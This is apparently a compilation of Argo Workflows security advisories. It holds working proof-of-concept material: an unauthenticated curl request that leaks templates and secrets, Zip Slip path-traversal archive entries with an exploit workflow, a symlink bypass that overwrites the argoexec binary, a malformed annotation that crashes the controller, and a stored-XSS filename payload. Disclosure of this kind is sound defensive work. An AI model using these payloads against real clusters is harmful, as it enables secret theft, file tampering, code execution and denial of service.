Summary Workflow templates endpoints allow any client to retrieve WorkflowTemplates (and ClusterWorkflowTemplates). Any request with a Authorization: Bearer nothing token can leak sensitive template content, including embedded Secret manifests.
Details
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/workflowtemplateserver.go#L60-L78
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/clusterworkflowtemplateserver.go#L54-L72
Informers use the server’s rest config, so they read using server SA privileges.
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/workflowtemplate/informer.go#L29-L42
https://github.com/argoproj/argo-workflows/blob/b519c9054e66b2f0a25eec06709717bd1362f72e/server/clusterworkflowtemplate/informer.go#L34-L46
PoC 1. Create template
yml apiVersion: argoproj.io/v1alpha1 kind: WorkflowTemplate metadata: name: leak-workflow-template namespace: argo spec: templates: - name: make-secret resource: action: create manifest: | apiVersion: v1 kind: Secret metadata: name: leaked-secret type: Opaque data: password: c3VwZXJzZWNyZXQ=
Then apply that with kubectl apply -f poc.yml 2. Query Argo Server with a fake token
Result:
cmd kubectl apply -f poc.yml workflowtemplate.argoproj.io/leak-workflow-template created curl -sk -H "Authorization: Bearer nothing" \ "https://localhost:2746/api/v1/workflow-templates/argo/leak-workflow-template" {"metadata":{"name":"leak-workflow-template","namespace":"argo","uid":"6f91481c-df9a-4aeb-9fe3-a3fb6b12e11c","resourceVersion":"867394","generation":1,"creationTimestamp":"REDACTED","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"argoproj.io/v1alpha1\",\"kind\":\"WorkflowTemplate\",\"metadata\":{\"annotations\":{},\"name\":\"leak-workflow-template\",\"namespace\":\"argo\"},\"spec\":{\"templates\":[{\"name\":\"make-secret\",\"resource\":{\"action\":\"create\",\"manifest\":\"apiVersion: v1\\nkind: Secret\\nmetadata:\\n name: leaked-secret\\ntype: Opaque\\ndata:\\n password: c3VwZXJzZWNyZXQ=\\n\"}}]}}\n"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"argoproj.io/v1alpha1","time":"REDACTED","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{".":{},"f:templates":{}}}}]},"spec":{"templates":[{"name":"make-secret","inputs":{},"outputs":{},"metadata":{},"resource":{"action":"create","manifest":"apiVersion: v1\nkind: Secret\nmetadata:\n name: leaked-secret\ntype: Opaque\ndata:\n password: c3VwZXJzZWNyZXQ=\n"}}],"arguments":{}}}
Impact Any client can leaks Workflow Template and Cluster Workflow Template data, including secrets, artifact locations, service account usage, env vars, and resource manifests.
Vulnerability Description
Vulnerability Overview
1. During the artifact extraction process, the unpack() function extracts the compressed file to a temporary directory (/etc.tmpdir) and then attempts to move its contents to /etc using the rename() system call, 2. However, since /etc is an already existing system directory, the rename() system call fails, making normal archive extraction impossible. 3. At this point, if a malicious user sets the entry name inside the tar.gz file to a path traversal like ../../../../../etc/zipslip-poc, 4. The untar() function combines paths using filepath.Join(dest, filepath.Clean(header.Name)) without path validation, resulting in target = "/work/input/../../../../../etc/zipslip-poc", 5. Ultimately, the /etc/zipslip-poc file is created, bypassing the normal archive extraction constraints and enabling direct file writing to system directories.
untar(): Writing Files Outside the Extraction Directory
https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993
1. Base Path: /work/tmp (dest) — The intended extraction directory in the wait container 2. Malicious Entry: ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt (header.Name) — Path traversal payload 3. Path Cleaning: filepath.Clean("../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Go’s path cleaning normalizes the traversal 4. Path Joining: filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") = /mainctrfs/etc/zipslip-ok.txt — Absolute path overrides base directory 5. File Creation: /mainctrfs/etc/zipslip-ok.txt file is created in the wait container 6. Volume Mirroring: The file appears as /etc/zipslip-ok.txt in the main container due to volume mount mirroring
PoC
PoC Description
1. The user uploaded a malicious tar.gz file to S3 that contains path traversal entries like ../../../../../../../../../..//mainctrfs/etc/zipslip-ok.txt designed to exploit the vulnerability. 2. In the Argo Workflows YAML, the artifact’s path is set to /work/tmp, which should normally extract the archive to that intended directory. 3. However, due to the vulnerability in the untar() function, filepath.Join("/work/tmp", "/mainctrfs/etc/zipslip-ok.txt") resolves to /mainctrfs/etc/zipslip-ok.txt, causing files to be created in unintended locations. 4. Since the wait container’s /mainctrfs/etc and the main container’s /etc share the same volume, files created in the wait container become visible in the main container’s /etc/ directory. 5. Consequently, the archive that should extract to /work/tmp exploits the Zip Slip vulnerability to create files in the /etc/ directory, enabling manipulation of system configuration files.
exploit yaml
yaml apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: zipslip- spec: entrypoint: main templates: - name: main container: image: ubuntu:22.04 command: ["sh"] args: ["-c", "echo 'Starting container'; sleep 3000"] volumeMounts: - name: etcvol mountPath: /etc inputs: artifacts: - name: evil path: /work/tmp archive: tar: {} http: url: "https://zipslip-s3.s3.ap-northeast-2.amazonaws.com/etc-poc.tgz" volumes: - name: etcvol emptyDir: {}
exploit
1. Create Zipslip <img width="1300" height="102" alt="image (4)" src="https://github.com/user-attachments/assets/74569df1-43f9-409d-b905-601bcb5998e2" />
2. Upload S3 <img width="1634" height="309" alt="image (5)" src="https://github.com/user-attachments/assets/2bf4a90a-0f03-411d-9a31-3c7de4b399b4" />
3. Create Workflow <img width="1875" height="865" alt="image (1) (1)" src="https://github.com/user-attachments/assets/fd01a4a7-c400-47a2-a8f0-427b0feabc7f" />
4. Run <img width="1799" height="862" alt="image (2)" src="https://github.com/user-attachments/assets/18a68919-1529-4ca0-9ed4-b71e271ae38f" />
5. Exploit Success <img width="1363" height="440" alt="image (3)" src="https://github.com/user-attachments/assets/ac0e834d-4734-4771-9d24-d6fd1ce5d77f" />
bash # Find Workflow and Pod NS=default WF=$(kubectl get wf -n "$NS" --sort-by=.metadata.creationTimestamp --no-headers | awk 'END{print $1}') POD=$(kubectl get pod -n "$NS" -l workflows.argoproj.io/workflow="$WF" --no-headers | awk 'END{print $1}') echo "NS=$NS WF=$WF POD=$POD" # Connect Main Container kubectl exec -it -n "$NS" "$POD" -c main -- bash # Exploit cd /etc/ ls -l cat zipslip-ok.txt
Impact
Container Isolation Bypass
The Zip Slip vulnerability allows attackers to write files to system directories like /etc/ within the container, potentially overwriting critical configuration files such as /etc/passwd, /etc/hosts, or /etc/crontab, which could lead to privilege escalation or persistent access within the compromised container.
Summary An attacker who has permissions to read logs from pods in a namespace with Argo Workflow can read workflow-controller logs and get credentials to the artifact repository.
Details An attacker, by reading the logs of the workflow controller pod, can access the artifact repository, and steal, delete or modify the data that resides there. The workflow-controller logs show the credentials in plaintext.
<img width="1366" alt="screen" src="https://github.com/user-attachments/assets/5642b2be-edcf-4050-bf47-747d05352698" />
Impact An attacker with access to pod logs in the argo namespace can extract plaintext credentials from the workflow-controller logs and gain access to the artifact repository. This can lead to: - Data exfiltration – theft of sensitive or proprietary artifacts - Data tampering – modification of workflows or artifacts - Data destruction – deletion of stored artifacts, leading to potential loss of critical data or pipeline failure
Summary The patch deployed against CVE-2025-62156 is ineffective against malicious archives containing symbolic links.
Details The untar code that handles symbolic links in archives is unsafe. Concretely, the computation of the link's target and the subsequent check are flawed: https://github.com/argoproj/argo-workflows/blob/5291e0b01f94ba864f96f795bb500f2cfc5ad799/workflow/executor/executor.go#L1034-L1037
PoC 1. Create a malicious archive containing two files: a symbolik link with path "./work/foo" and target "/etc", and a normal text file with path "./work/foo/hostname". 2. Deploy a workflow like the one in https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf with the malicious archive mounted at /work/tmp. 3. Submit the workflow and wait for its execution. 4. Connect to the corresponding pod and observe that the file "/etc/hostname" was altered by the untar operation performed on the malicious archive. The attacker can hence alter arbitrary files in this way.
Impact The attacker can overwrite the file /var/run/argo/argoexec with a script of their choice, which will be executed at the pod's start.
Summary
An unchecked array index in the pod informer's podGCFromPod() function causes a controller-wide panic when a workflow pod carries a malformed workflows.argoproj.io/pod-gc-strategy annotation. Because the panic occurs inside an informer goroutine (outside the controller's recover() scope), it crashes the entire controller process. The poisoned pod persists across restarts, causing a crash loop that halts all workflow processing until the pod is manually deleted.
Details
podGCFromPod() splits the annotation value on "/" and unconditionally accesses parts[1]:
go func podGCFromPod(pod apiv1.Pod) wfv1.PodGC { if val, ok := pod.Annotations[common.AnnotationKeyPodGCStrategy]; ok { parts := strings.Split(val, "/") return wfv1.PodGC{Strategy: wfv1.PodGCStrategy(parts[0]), DeleteDelayDuration: parts[1]} } return wfv1.PodGC{Strategy: wfv1.PodGCOnPodNone} }
If the annotation value contains no "/", parts has length 1 and parts[1] panics with index out of range.
The code was introduced in #14129 and affects versions:
- 3.6.x: v3.6.5 through v3.6.19 (backport in #14263) - 3.7.x: v3.7.0-rc1 through v3.7.12 - 4.x: v4.0.0-rc1 through v4.0.3 - Not affected: v3.6.4 and earlier
PoC
Apply this workflow to a cluster running the Argo Workflows controller:
bash kubectl apply -n argo -f - <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: name: crash-podgc spec: entrypoint: main serviceAccountName: default podGC: strategy: OnPodCompletion podMetadata: annotations: workflows.argoproj.io/pod-gc-strategy: "NoSlash" templates: - name: main container: image: alpine:3.18 command: [echo, "hello"] EOF
Within seconds the controller crashes. The controller pod will show CrashLoopBackOff with increasing restart count. Controller logs show:
panic: runtime error: index out of range [1] with length 1
goroutine 291 [running]: github.com/argoproj/argo-workflows/v4/workflow/controller/pod.podGCFromPod(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:176 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).commonPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:197 github.com/argoproj/argo-workflows/v4/workflow/controller/pod.(Controller).addPodEvent(...) /home/runner/work/argo-workflows/argo-workflows/workflow/controller/pod/controller.go:246
Recovery requires deleting the poisoned workflow:
kubectl delete workflow -n argo crash-podgc
Impact
Any user who can submit workflows can crash the Argo Workflows controller and keep it down indefinitely. This is a denial-of-service against all workflows in the cluster. No workflows can make progress while the controller is crash-looping. The attacker needs only create permission on Workflow resources, which is the baseline permission for any Argo Workflows user.
Summary Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.
Details The directory listing response in server/artifacts/artifactserver.go renders object names directly into HTML via fmt.Fprintf without escaping. Object names come from driver.ListObjects(...) and are attacker‑controlled when a workflow writes files into an output artifact directory.
https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifactserver.go#L194-L244
PoC 1. Deploy Argo Workflows: kubectl create ns argo kubectl apply --server-side -f manifests/base/crds/full kubectl apply --server-side -k manifests/quick-start/postgres 2. Port‑forward Argo Server: kubectl -n argo port-forward deploy/argo-server 2746:2746 3. Create the PoC workflow: yml cat > /tmp/argo-xss.yaml <<'EOF' apiVersion: argoproj.io/v1alpha1 kind: Workflow metadata: generateName: xss-artifact-test- spec: entrypoint: main templates: - name: main container: image: alpine command: [sh, -c] args: - | mkdir -p /tmp/artifacts touch '/tmp/artifacts/xss"><img src=x onerror="alert(document.domain)">.html' outputs: artifacts: - name: dir path: /tmp/artifacts archive: none: {} EOF kubectl -n argo create -f /tmp/argo-xss.yaml 4. Wait for completion: kubectl -n argo get wf -w 5. Get the node ID: kubectl -n argo get wf <wf-name> \ -o jsonpath='{range .status.nodes.}{.id}{"\t"}{.displayName}{"\n"}{end}' 6. Open the listing: https://localhost:2746/artifact-files/argo/workflows/<wf-name>/<node-id>/outputs/dir/
<img width="1220" height="349" alt="image" src="https://github.com/user-attachments/assets/9d859826-c7cd-403b-988e-74695552944b" />
Impact - The attacker creates a workflow that produces a HTML artifact that contains a HTML file that contains a script which uses XHR calls to interact with the Argo Server API. - The attacker emails the deep-link to the artifact to their victim. The victim opens the link, the script starts running.
As the script has access to the Argo Server API (as the victim), so may do the following (if the victim may): - Read information about the victim’s workflows. - Create or delete workflows.